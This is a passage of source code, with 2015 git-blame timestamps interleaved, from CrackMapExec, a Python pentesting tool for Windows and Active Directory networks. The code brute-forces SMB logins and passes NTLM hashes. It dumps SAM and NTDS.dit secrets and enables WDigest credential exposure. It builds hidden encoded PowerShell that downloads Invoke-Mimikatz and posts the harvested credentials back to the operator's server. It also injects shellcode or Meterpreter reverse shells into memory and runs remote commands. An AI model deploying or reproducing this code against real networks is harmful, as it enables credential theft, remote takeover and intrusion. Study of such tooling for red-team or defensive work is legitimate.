passwords = open(args.passwd, 'r')
else:
'''
You might be wondering: wtf is this? why not use split()?
This is in case a password contains a comma! we can use '\\' to make sure it's parsed correctly
IMHO this is a much better way than writing a custom split() function
'''
try:
passwords = csv.reader(StringIO.StringIO(args.passwd), delimiter=str(','), escapechar=str('\\')).next()
except StopIteration:
#in case we supplied only '' as the password (null session)
passwords = ['']
if args.hash is not None:
if os.path.exists(args.hash):
hashes = open(args.hash, 'r')
else:
hashes = args.hash.split(',')
for user in usernames:
user = user.strip()
try:
hashes.seek(0)
except AttributeError:
pass
try:
passwords.seek(0)
except AttributeError:
pass
if hashes:
for ntlm_hash in hashes:
ntlm_hash = ntlm_hash.strip().lower()
lmhash, nthash = ntlm_hash.split(':')
if user == '': user = "''"
try:
smb.login(user, '', domain, lmhash, nthash)
print_succ("{}:{} Login successful {}\\{}:{}".format(host, args.port, domain, user, ntlm_hash))
return smb
except SessionError as e:
print_error("{}:{} {}\\{}:{} {}".format(host, args.port, domain, user, ntlm_hash, e))
continue
if passwords:
for passwd in passwords:
passwd = passwd.strip()
if user == '': user = "''"
if passwd == '': passwd = "''"
try:
smb.login(user, passwd, domain)
print_succ("{}:{} Login successful {}\\{}:{}".format(host, args.port, domain, user, passwd))
return smb
except SessionError as e:
print_error("{}:{} {}\\{}:{} {}".format(host, args.port, domain, user, passwd, e))
continue
raise socket.error
def spider(smb_conn, ip, share, subfolder, patt, depth):
if subfolder == '' or subfolder == '.':
subfolder = '*'
elif subfolder.startswith('*/'):
subfolder = subfolder[2:] + '/*'
else:
subfolder = subfolder.replace('/*/', '/') + '/*'
2015-08-19 14:06:07 +00:00
try:
filelist = smb_conn.listPath(share, subfolder)
dir_list(filelist, ip, subfolder, patt, share, smb_conn)
2015-08-19 14:06:07 +00:00
if depth == 0:
return
2015-08-19 14:06:07 +00:00
except SessionError:
if args.verbose: traceback.print_exc()
return
2015-08-19 14:06:07 +00:00
for result in filelist:
if result.is_directory() and result.get_longname() != '.' and result.get_longname() != '..':
if subfolder == '*':
spider(smb_conn, ip, share, subfolder.replace('*', '') + result.get_longname(), patt, depth-1)
elif subfolder != '*' and (subfolder[:-2].split('/')[-1] not in args.exclude_dirs):
spider(smb_conn, ip, share, subfolder.replace('*', '') + result.get_longname(), patt, depth-1)
return
2015-08-19 14:06:07 +00:00
def dir_list(files, ip, path, pattern, share, smb):
2015-08-19 14:06:07 +00:00
for result in files:
for instance in pattern:
2015-10-10 03:04:20 +00:00
if re.findall(instance, result.get_longname()):
2015-08-19 14:06:07 +00:00
if result.is_directory():
print_att("//{}/{}{} [dir]".format(ip, path.replace('*', ''), result.get_longname()))
2015-08-19 14:06:07 +00:00
else:
print_att("//{}/{}{} [lastm:'{}' size:{}]".format(ip,
path.replace('*', ''),
result.get_longname(),
strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())),
result.get_filesize()))
if args.search_content:
if not result.is_directory():
search_content(smb, path, result, share, instance, ip)
return
def search_content(smb, path, result, share, pattern, ip):
try:
rfile = RemoteFile(smb, path.replace('*', '') + result.get_longname(), share, access = FILE_READ_DATA)
rfile.open()
while True:
try:
contents = rfile.read(4096)
except SessionError as e:
if 'STATUS_END_OF_FILE' in str(e):
return
2015-10-10 03:04:20 +00:00
if re.findall(pattern, contents):
print_att("//{}/{}{} [lastm:'{}' size:{} offset:{} pattern:{}]".format(ip,
path.replace('*', ''),
result.get_longname(),
strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())),
result.get_filesize(),
rfile.tell(),
pattern.pattern))
rfile.close()
return
except SessionError as e:
if args.verbose: traceback.print_exc()
if 'STATUS_SHARING_VIOLATION' in str(e):
pass
except Exception as e:
if args.verbose: traceback.print_exc()
print_error(str(e))
2015-08-19 14:06:07 +00:00
def enum_shares(smb):
2015-08-14 14:18:52 +00:00
permissions = {}
root = ntpath.normpath("\\{}".format(PERM_DIR))
2015-08-14 14:18:52 +00:00
for share in smb.listShares():
share_name = share['shi1_netname'][:-1]
permissions[share_name] = []
2015-08-14 14:18:52 +00:00
try:
if smb.listPath(share_name, '*', args.passwd):
permissions[share_name].append('READ')
except SessionError:
2015-08-14 14:18:52 +00:00
pass
try:
if smb.createDirectory(share_name, root):
smb.deleteDirectory(share_name, root)
permissions[share_name].append('WRITE')
except SessionError:
2015-08-14 14:18:52 +00:00
pass
return permissions
2015-10-16 21:25:35 +00:00
def ps_command(command):
2015-10-23 01:20:07 +00:00
if args.server == 'https':
2015-10-16 21:25:35 +00:00
command = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + command
2015-08-14 14:18:52 +00:00
if args.force_ps32:
2015-10-08 18:59:48 +00:00
command = 'IEX "$Env:windir\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}"'.format(b64encode(command.encode('UTF-16LE')))
base64_command = b64encode(command.encode('UTF-16LE'))
ps_command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(base64_command)
return ps_command
2015-08-14 14:18:52 +00:00
2015-10-16 21:25:35 +00:00
def gen_mimikatz_command(localip, katz_command='privilege::debug sekurlsa::logonpasswords exit'):
2015-10-23 01:20:07 +00:00
protocol = args.server
if args.server == 'smb':
protocol = 'file'
command = "IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/tmp/Invoke-Mimikatz.ps1');\
$creds = Invoke-Mimikatz -Command '{katz_command}';\
$request = [System.Net.WebRequest]::Create('{protocol}://{addr}/tmp');\
$request.Method = 'POST';\
$request.ContentType = 'application/x-www-form-urlencoded';\
$bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);\
$request.ContentLength = $bytes.Length;\
$requestStream = $request.GetRequestStream();\
$requestStream.Write( $bytes, 0, $bytes.Length );\
$requestStream.Close();\
$request.GetResponse();".format(protocol=protocol, addr=localip, katz_command=katz_command)
2015-10-16 21:25:35 +00:00
return ps_command(command)
def inject_pscommand(localip):
2015-10-23 01:20:07 +00:00
protocol = args.server
if args.server == 'smb':
protocol = 'file'
if args.inject.startswith('met_'):
2015-10-23 01:20:07 +00:00
command = "IEX (New-Object Net.WebClient).DownloadString('{}://{}/TMP/Invoke-Shellcode.ps1');\
Invoke-Shellcode -Force -Payload windows/meterpreter/{} -Lhost {} -Lport {}".format(protocol,
localip,
args.inject[4:],
args.met_options[0],
args.met_options[1])
if args.procid:
command += " -ProcessID {}".format(args.procid)
command += ';'
elif args.inject == 'shellcode':
2015-10-23 01:20:07 +00:00
command = "IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/tmp/Invoke-Shellcode.ps1');\
$WebClient = New-Object System.Net.WebClient;\
[Byte[]]$bytes = $WebClient.DownloadData('{protocol}://{addr}/tmp2/{shellcode}');\
Invoke-Shellcode -Force -Shellcode $bytes".format(protocol=protocol,
addr=localip,
shellcode=args.path.split('/')[-1])
if args.procid:
command += " -ProcessID {}".format(args.procid)
command += ';'
elif args.inject == 'exe' or args.inject == 'dll':
2015-10-23 01:20:07 +00:00
command = "IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/tmp/Invoke-ReflectivePEInjection.ps1');\
Invoke-ReflectivePEInjection -PEUrl {protocol}://{addr}/tmp2/{pefile}".format(protocol=protocol,
addr=localip,
pefile=args.path.split('/')[-1])
if args.procid:
command += " -ProcID {}"
if args.inject == 'exe' and args.exeargs:
command += " -ExeArgs \"{}\"".format(args.exeargs)
command += ';'
return ps_command(command)
2015-08-14 14:18:52 +00:00
def connect(host):
try:
2015-08-14 14:18:52 +00:00
smb = SMBConnection(host, host, None, args.port)
try:
smb.login('' , '')
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.message:
pass
2015-09-07 08:52:46 +00:00
domain = args.domain
s_name = smb.getServerName()
2015-08-14 14:18:52 +00:00
if not domain:
2015-09-07 08:52:46 +00:00
domain = smb.getServerDomain()
if not domain:
domain = s_name
2015-08-14 14:18:52 +00:00
2015-08-28 19:17:36 +00:00
print_status("{}:{} is running {} (name:{}) (domain:{})".format(host, args.port, smb.getServerOS(), s_name, domain))
'''
DC's seem to want us to logoff first
Workstations sometimes reset the connection, so we handle both cases here
'''
try:
smb.logoff()
2015-08-21 15:12:07 +00:00
except NetBIOSError:
pass
except socket.error:
smb = SMBConnection(host, host, None, args.port)
if (args.user is not None and (args.passwd is not None or args.hash is not None)) or args.combo_file:
smb = smart_login(host, smb, domain)
noOutput = False
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
if args.download:
out = open(args.download.split('\\')[-1], 'wb')
smb.getFile(args.share, args.download, out.write)
print_succ("{}:{} {} Downloaded file".format(host, args.port, s_name))
2015-08-14 14:18:52 +00:00
if args.delete:
smb.deleteFile(args.share, args.delete)
print_succ("{}:{} {} Deleted file".format(host, args.port, s_name))
if args.upload:
up = open(args.upload[0] , 'rb')
smb.putFile(args.share, args.upload[1], up.read)
print_succ("{}:{} {} Uploaded file".format(host, args.port, s_name))
2015-08-14 14:18:52 +00:00
if args.list:
if args.list == '' or args.list == '.' :
args.list = '*'
else:
args.list = args.list + '/*'
dir_list = smb.listPath(args.share, args.list)
if args.list == '*':
args.list = args.share
else:
args.list = args.share + '/' + args.list[:-2]
print_succ("{}:{} Contents of {}:".format(host, args.port, args.list))
for f in dir_list:
print_att("{}rw-rw-rw- {:>7} {} {}".format('d' if f.is_directory() > 0 else '-',
f.get_filesize(),
strftime('%Y-%m-%d %H:%M', localtime(f.get_mtime_epoch())),
f.get_longname()))
if args.spider:
start_time = time()
2015-08-28 19:17:36 +00:00
print_status("{}:{} {} Started spidering".format(host, args.port, s_name))
spider(smb, host, args.share, args.spider, args.pattern, args.depth)
2015-08-28 19:17:36 +00:00
print_status("{}:{} {} Done spidering (Completed in {})".format(host, args.port, s_name, time() - start_time))
if args.wmi_query:
query = WMIQUERY(host, args.user, args.passwd, domain, args.hash, args.namespace)
res = query.run(args.wmi_query)
2015-08-28 19:17:36 +00:00
print_succ("{}:{} {} Executed specified WMI query:".format(host, args.port, s_name))
for k,v in res.iteritems():
print_att('{}: {}'.format(k, ','.join(v)))
if args.enum_sessions:
rpcenum = RPCENUM(args.user, args.passwd, domain, args.hash)
sessions = rpcenum.enum_sessions(host)
2015-08-28 19:17:36 +00:00
print_succ("{}:{} {} Current active sessions:".format(host, args.port, s_name))
for session in sessions:
for fname in session.fields.keys():
2015-08-28 19:17:36 +00:00
print "{} {}".format(fname, yellow(session[fname]))
if args.enum_lusers:
rpcenum = RPCENUM(args.user, args.passwd, domain, args.hash)
lusers = rpcenum.enum_logged_on_users(host)
2015-08-28 19:17:36 +00:00
print_succ("{}:{} {} Logged on users:".format(host, args.port, s_name))
for luser in lusers:
for fname in luser.fields.keys():
2015-08-28 19:17:36 +00:00
print "{} {}".format(fname, yellow(luser[fname]))
if args.enum_disks:
rpcenum = RPCENUM(args.user, args.passwd, domain, args.hash)
disks = rpcenum.enum_disks(host)
print_succ("{}:{} {} Available disks:".format(host, args.port, s_name))
for disk in disks['DiskInfoStruct']['Buffer']:
for dname in disk.fields.keys():
print_att(disk[dname])
if args.rid_brute:
lookup = LSALookupSid(args.user, args.passwd, domain, '{}/SMB'.format(args.port), args.hash, args.rid_brute)
lookup.dump(host)
print_succ("{}:{} {} Dumping users (rid:domain:user):".format(host, args.port, s_name))
for user in lookup.entries:
print_att(user)
if args.pass_pol:
dumper = SAMRDump("{}/SMB".format(args.port), args.user, args.passwd, domain, args.hash)
pass_policy = dumper.get_pass_pol(host)
print_succ("{}:{} {} Dumping password policies:".format(host, args.port, s_name))
for policy in pass_policy:
print_att(policy)
if args.enum_users:
user_enum = SAMRDump("{}/SMB".format(args.port), args.user, args.passwd, domain, args.hash)
users = user_enum.get_users(host)
print_succ("{}:{} {} Dumping users (rid:user):".format(host, args.port, s_name))
for user in users:
print_att('{}: {}'.format(user[1], user[0]))
2015-10-09 01:09:02 +00:00
if args.list_shares:
share_list = enum_shares(smb)
2015-10-09 01:09:02 +00:00
print_succ('{}:{} {} Available shares:'.format(host, args.port, s_name))
print_att('{:>15} {:>15}'.format('SHARE', 'Permissions'))
print_att('{:>15} {:>15}'.format('-----', '-----------'))
2015-10-09 01:09:02 +00:00
for share, perm in share_list.iteritems():
if not perm:
print_att('{:>15} {:>15}'.format(share, 'NO ACCESS'))
else:
print_att('{:>15} {:>15}'.format(share, ', '.join(perm)))
2015-10-09 01:09:02 +00:00
2015-10-07 20:24:03 +00:00
if args.check_uac:
remoteOps = RemoteOperations(smb)
remoteOps.enableRegistry()
uac = remoteOps.checkUAC()
print_succ("{}:{} {} UAC status:".format(host, args.port, s_name))
if uac == 1:
print_att('1 - UAC Enabled')
elif uac == 0:
print_att('0 - UAC Disabled')
remoteOps.finish()
if args.enable_wdigest:
remoteOps = RemoteOperations(smb)
remoteOps.enableRegistry()
value = remoteOps.createUseLogonCredential()
if int(value) == 1:
print_succ('{}:{} {} UseLogonCredential registry key created successfully'.format(host, args.port, s_name))
remoteOps.finish()
if args.disable_wdigest:
remoteOps = RemoteOperations(smb)
remoteOps.enableRegistry()
if remoteOps.deleteUseLogonCredential():
print_succ('{}:{} {} UseLogonCredential registry key deleted successfully'.format(host, args.port, s_name))
remoteOps.finish()
if args.sam:
sam_dump = DumpSecrets(host, args.user, args.passwd, domain, args.hash, True)
sam_dump.dump(smb)
if sam_dump.dumped_sam_hashes:
2015-08-28 19:17:36 +00:00
print_succ("{}:{} {} Dumping local SAM hashes (uid:rid:lmhash:nthash):".format(host, args.port, s_name))
for sam_hash in sam_dump.dumped_sam_hashes:
2015-08-28 19:17:36 +00:00
print_att(sam_hash)
try:
sam_dump.cleanup()
except:
pass
if args.ntds:
vss = False
ninja = False
if args.ntds == 'vss': vss = True
elif args.ntds == 'ninja': ninja = True
ntds_dump = DumpSecrets(host, args.user, args.passwd, domain, args.hash, False, True, vss, ninja)
ntds_dump.dump(smb)
if ntds_dump.dumped_ntds_hashes:
print_succ("{}:{} {} Dumping NTDS.dit secrets using the {} method (domain\\uid:rid:lmhash:nthash):".format(host, args.port, s_name, args.ntds.upper()))
for h in ntds_dump.dumped_ntds_hashes['hashes']:
2015-08-28 19:17:36 +00:00
print_att(h)
print_succ("{}:{} {} Kerberos keys grabbed:".format(host, args.port, s_name))
for h in ntds_dump.dumped_ntds_hashes['kerb']:
2015-08-28 19:17:36 +00:00
print_att(h)
ntds_dump.cleanup()
if args.mimikatz:
noOutput = True
2015-10-16 21:25:35 +00:00
args.command = gen_mimikatz_command(local_ip)
if args.mimi_cmd:
noOutput = True
2015-10-16 21:25:35 +00:00
args.command = gen_mimikatz_command(local_ip, args.mimi_cmd)
if args.pscommand:
2015-10-16 21:25:35 +00:00
args.command = ps_command(args.pscommand)
if args.inject:
noOutput = True
args.command = inject_pscommand(local_ip)
if args.command:
if args.execm == 'smbexec':
executer = CMDEXEC('{}/SMB'.format(args.port), args.user, args.passwd, domain, args.hash, args.share, args.command, noOutput)
result = executer.run(host)
if result:
2015-08-28 19:17:36 +00:00
print_succ('{}:{} {} Executed specified command via SMBEXEC'.format(host, args.port, s_name))
print_att(result)
elif args.execm == 'wmi':
executer = WMIEXEC(args.command, args.user, args.passwd, domain, args.hash, args.share, noOutput)
result = executer.run(host, smb)
if result:
2015-08-28 19:17:36 +00:00
print_succ('{}:{} {} Executed specified command via WMI'.format(host, args.port, s_name))
print_att(result)
elif args.execm == 'atexec':
atsvc_exec = TSCH_EXEC(args.user, args.passwd, args.command, domain, args.hash, noOutput)
atsvc_exec.play(host)
if atsvc_exec.output:
2015-08-28 19:17:36 +00:00
print_succ('{}:{} {} Executed specified command via ATEXEC'.format(host, args.port, s_name))
print_att(atsvc_exec.output)
atsvc_exec.cleanup()
try:
smb.logoff()
except:
pass
2015-08-14 14:18:52 +00:00
except SessionError as e:
2015-08-28 19:17:36 +00:00
print_error("{}:{} {}".format(host, args.port, e))
if args.verbose: traceback.print_exc()
2015-08-14 14:18:52 +00:00
except NetBIOSError as e:
print_error("{}:{} NetBIOS Error: {}".format(host, args.port, e))
if args.verbose: traceback.print_exc()
except DCERPCException as e:
2015-08-28 19:17:36 +00:00
print_error("{}:{} DCERPC Error: {}".format(host, args.port, e))
if args.verbose: traceback.print_exc()
2015-08-14 14:18:52 +00:00
except socket.error as e:
if args.verbose: print str(e)
return
2015-08-14 14:18:52 +00:00
def concurrency(targets):
2015-08-14 14:18:52 +00:00
''' Open all the greenlet threads '''
try:
pool = Pool(args.threads)
jobs = [pool.spawn(connect, str(host)) for net in targets for host in net]
2015-08-14 14:18:52 +00:00
joinall(jobs)
except KeyboardInterrupt:
2015-08-28 19:17:36 +00:00
print_status("Got CTRL-C! Exiting..")
sys.exit()
2015-08-14 14:18:52 +00:00
if __name__ == '__main__':
2015-11-02 01:52:00 +00:00
if sys.platform == 'win32':
import colorama
colorama.init() #Makes termcolor work on windows
else:
if os.geteuid() is not 0:
print_error("Run me as r00t!")
sys.exit(1)
2015-08-14 14:18:52 +00:00
2015-08-28 19:38:50 +00:00
parser = argparse.ArgumentParser(description="""
______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
/ || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / |
| ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----'
| | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | |
| `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----.
\______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______|
Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r
Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)
Inspired by:
@ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
@gojhonny's CredCrack https://github.com/gojhonny/CredCrack
@pentestgeek's smbexec https://github.com/pentestgeek/smbexec
""",
formatter_class=RawTextHelpFormatter,
version='1.0.9-dev',
2015-08-28 19:38:50 +00:00
epilog='There\'s been an awakening... have you felt it?')
2015-08-14 14:18:52 +00:00
parser.add_argument("-t", type=int, dest="threads", default=10, help="Set how many concurrent threads to use (defaults to 10)")
parser.add_argument("-u", metavar="USERNAME", dest='user', type=str, default=None, help="Username(s) or file containing usernames")
parser.add_argument("-p", metavar="PASSWORD", dest='passwd', type=str, default=None, help="Password(s) or file containing passwords")
parser.add_argument("-H", metavar="HASH", dest='hash', type=str, default=None, help='NTLM hash(es) or file containing NTLM hashes')
parser.add_argument("-C", metavar="COMBO_FILE", dest='combo_file', type=str, help="Combo file containing a list of domain\\username:password or username:password entries")
2015-09-07 08:52:46 +00:00
parser.add_argument("-d", metavar="DOMAIN", dest='domain', default=None, help="Domain name")
parser.add_argument("-n", metavar='NAMESPACE', dest='namespace', default='//./root/cimv2', help='WMI Namespace (default //./root/cimv2)')
parser.add_argument("-s", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)")
parser.add_argument("--port", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)")
2015-10-23 01:20:07 +00:00
parser.add_argument("--server", choices={'http', 'https', 'smb'}, default='http', help='Use the selected server (defaults to http)')
#parser.add_argument("--server-port", type=int, help='Start the server on the specified port')
parser.add_argument("--verbose", action='store_true', dest='verbose', help="Enable verbose output")
parser.add_argument("target", nargs=1, type=str, help="The target range, CIDR identifier or file containing targets")
2015-08-14 14:18:52 +00:00
rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems')
2015-10-04 06:34:43 +00:00
rgroup.add_argument("--mimikatz", action='store_true', help='Run Invoke-Mimikatz (sekurlsa::logonpasswords) on target systems')
rgroup.add_argument("--mimikatz-cmd", metavar='MIMIKATZ_CMD', dest='mimi_cmd', help='Run Invoke-Mimikatz with the specified command')
2015-08-21 03:22:49 +00:00
rgroup.add_argument("--ntds", choices={'vss', 'drsuapi', 'ninja'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")
2015-10-20 01:26:26 +00:00
rgroup.add_argument("--enable-wdigest", action='store_true', help="Creates the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows 8.1")
rgroup.add_argument("--disable-wdigest", action='store_true', help="Deletes the 'UseLogonCredential' registry key")
egroup = parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
egroup.add_argument("--shares", action="store_true", dest="list_shares", help="List shares")
2015-10-07 20:24:03 +00:00
egroup.add_argument('--check-uac', action='store_true', dest='check_uac', help='Checks UAC status')
egroup.add_argument("--sessions", action='store_true', dest='enum_sessions', help='Enumerate active sessions')
egroup.add_argument('--disks', action='store_true', dest='enum_disks', help='Enumerate disks')
egroup.add_argument("--users", action='store_true', dest='enum_users', help='Enumerate users')
egroup.add_argument("--rid-brute", metavar='MAX_RID', dest='rid_brute', help='Enumerate users by bruteforcing RID\'s')
egroup.add_argument("--pass-pol", action='store_true', dest='pass_pol', help='Dump password policy')
egroup.add_argument("--lusers", action='store_true', dest='enum_lusers', help='Enumerate logged on users')
egroup.add_argument("--wmi", metavar='QUERY', type=str, dest='wmi_query', help='Issues the specified WMI query')
2015-08-19 14:06:07 +00:00
sgroup = parser.add_argument_group("Spidering", "Options for spidering shares")
sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', const='.', type=str, help='Folder to spider (defaults to top level directory)')
sgroup.add_argument("--content", dest='search_content', action='store_true', help='Enable file content searching')
sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', dest='exclude_dirs', help='Directories to exclude from spidering')
sgroup.add_argument("--pattern", type=str, help='Pattern to search for in folders, filenames and file content')
sgroup.add_argument("--patternfile", type=str, help='File containing patterns to search for in folders, filenames and file content')
sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion depth (default: 10)')
2015-08-19 14:06:07 +00:00
cgroup = parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument('--execm', choices={"wmi", "smbexec", "atexec"}, default="smbexec", help="Method to execute the command (default: smbexec)")
cgroup.add_argument('--force-ps32', action='store_true', dest='force_ps32', help='Force all PowerShell code/commands to run in a 32bit process')
cgroup.add_argument("-x", metavar="COMMAND", dest='command', help="Execute the specified command")
cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Excute the specified powershell command')
xgroup = parser.add_argument_group("Shellcode/EXE/DLL/Meterpreter Injection", "Options for injecting Shellcode/EXE/DLL/Meterpreter in memory using PowerShell")
xgroup.add_argument("--inject", choices={'shellcode', 'exe', 'dll', 'met_reverse_https', 'met_reverse_http'}, help='Inject Shellcode, EXE, DLL or Meterpreter')
xgroup.add_argument("--path", type=str, help='Path to the Shellcode/EXE/DLL you want to inject on the target systems (ignored if injecting Meterpreter)')
xgroup.add_argument('--procid', type=int, help='Process ID to inject the Shellcode/EXE/DLL/Meterpreter into (if omitted, will inject within the running PowerShell process)')
xgroup.add_argument("--exeargs", type=str, help='Arguments to pass to the EXE being reflectively loaded (ignored if not injecting an EXE)')
xgroup.add_argument("--met-options", nargs=2, metavar=('LHOST', 'LPORT'), dest='met_options', help='Meterpreter options (ignored if not injecting Meterpreter)')
bgroup = parser.add_argument_group("Filesystem Interaction", "Options for interacting with filesystems")
bgroup.add_argument("--list", metavar='PATH', nargs='?', const='.', type=str, help='List contents of a directory (defaults to top level directory)')
bgroup.add_argument("--download", metavar="PATH", help="Download a file from the remote systems")
bgroup.add_argument("--upload", nargs=2, metavar=('SRC', 'DST'), help="Upload a file to the remote systems")
bgroup.add_argument("--delete", metavar="PATH", help="Delete a remote file")
2015-08-14 14:18:52 +00:00
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
2015-08-14 14:18:52 +00:00
args = parser.parse_args()
if args.verbose:
2015-08-28 19:17:36 +00:00
print_status("Verbose output enabled")
logging.basicConfig(format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logging.getLogger()
log.setLevel(logging.DEBUG)
"""
if args.server == 'http':
server_port = 80
if args.server_port:
server_port = args.server_port
if args.server == 'https':
server_port = 443
if args.server_port:
server_port = args.server_port
if args.server == 'smb':
server_port = 445
if args.server_port:
server_port = args.server_port
"""
if args.inject:
if not args.inject.startswith('met_'):
if not args.path:
print_error("You must specify a '--path' to the Shellcode/EXE/DLL to inject")
sys.exit(1)
elif args.path:
if not os.path.exists(args.path):
print_error('Unable to find Shellcode/EXE/DLL at specified path')
sys.exit(1)
elif args.inject.startswith('met_'):
if not args.met_options:
print_error("You must specify Meterpreter's options using '--met-options'" )
sys.exit(1)
def get_targets(target):
if '-' in target:
ip_range = target.split('-')
try:
hosts = IPRange(ip_range[0], ip_range[1])
except AddrFormatError:
start_ip = IPAddress(ip_range[0])
start_ip_words = list(start_ip.words)
start_ip_words[-1] = ip_range[1]
start_ip_words = [str(v) for v in start_ip_words]
end_ip = IPAddress('.'.join(start_ip_words))
return IPRange(start_ip, end_ip)
else:
return IPNetwork(target)
targets = []
if os.path.exists(args.target[0]):
with open(args.target[0], 'r') as target_file:
for target in target_file:
targets.append(get_targets(target))
else:
targets.append(get_targets(args.target[0]))
2015-08-14 14:18:52 +00:00
2015-08-19 14:06:07 +00:00
if args.spider:
patterns = []
if not args.pattern and not args.patternfile:
2015-08-28 19:17:36 +00:00
print_error("Please specify a '--pattern' or a '--patternfile'")
sys.exit(1)
2015-08-19 14:06:07 +00:00
if args.patternfile:
if not os.path.exists(args.patternfile):
print_error("Unable to find pattern file at specified path")
sys.exit(1)
for line in args.patternfile.readlines():
line = line.rstrip()
2015-10-10 03:04:20 +00:00
patterns.append(re.compile(line, re.IGNORECASE))
2015-10-10 03:04:20 +00:00
patterns.extend(re.compile(patt, re.IGNORECASE) for patt in args.pattern.split(','))
args.pattern = patterns
args.exclude_dirs = args.exclude_dirs.split(',')
if args.combo_file:
if not os.path.exists(args.combo_file):
print_error('Unable to find combo file at specified path')
sys.exit(1)
2015-10-16 21:25:35 +00:00
if args.mimikatz or args.mimi_cmd or args.inject or args.ntds == 'ninja':
2015-08-28 19:17:36 +00:00
print_status("Press CTRL-C at any time to exit")
2015-10-23 01:20:07 +00:00
print_status("This might take some time on large networks! Go grab a redbull!\n")
2015-10-23 01:20:07 +00:00
if args.server == 'http':
server = BaseHTTPServer.HTTPServer(('0.0.0.0', 80), MimikatzServer)
elif args.server == 'https':
server = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), MimikatzServer)
server.socket = ssl.wrap_socket(server.socket, certfile='certs/crackmapexec.crt', keyfile='certs/crackmapexec.key', server_side=True)
2015-10-23 01:20:07 +00:00
elif args.server == 'smb':
server = SMBserver()
2015-11-02 02:52:05 +00:00
t = Thread(name='server', target=server.serve_forever)
#t = Process(name='server', target=server.serve_forever)
t.daemon = True
t.start()
2015-08-14 14:18:52 +00:00
concurrency(targets)
2015-10-16 21:25:35 +00:00
if args.mimikatz or args.mimi_cmd or args.inject or args.ntds == 'ninja':
try:
while True:
sleep(1)
except KeyboardInterrupt:
sys.exit()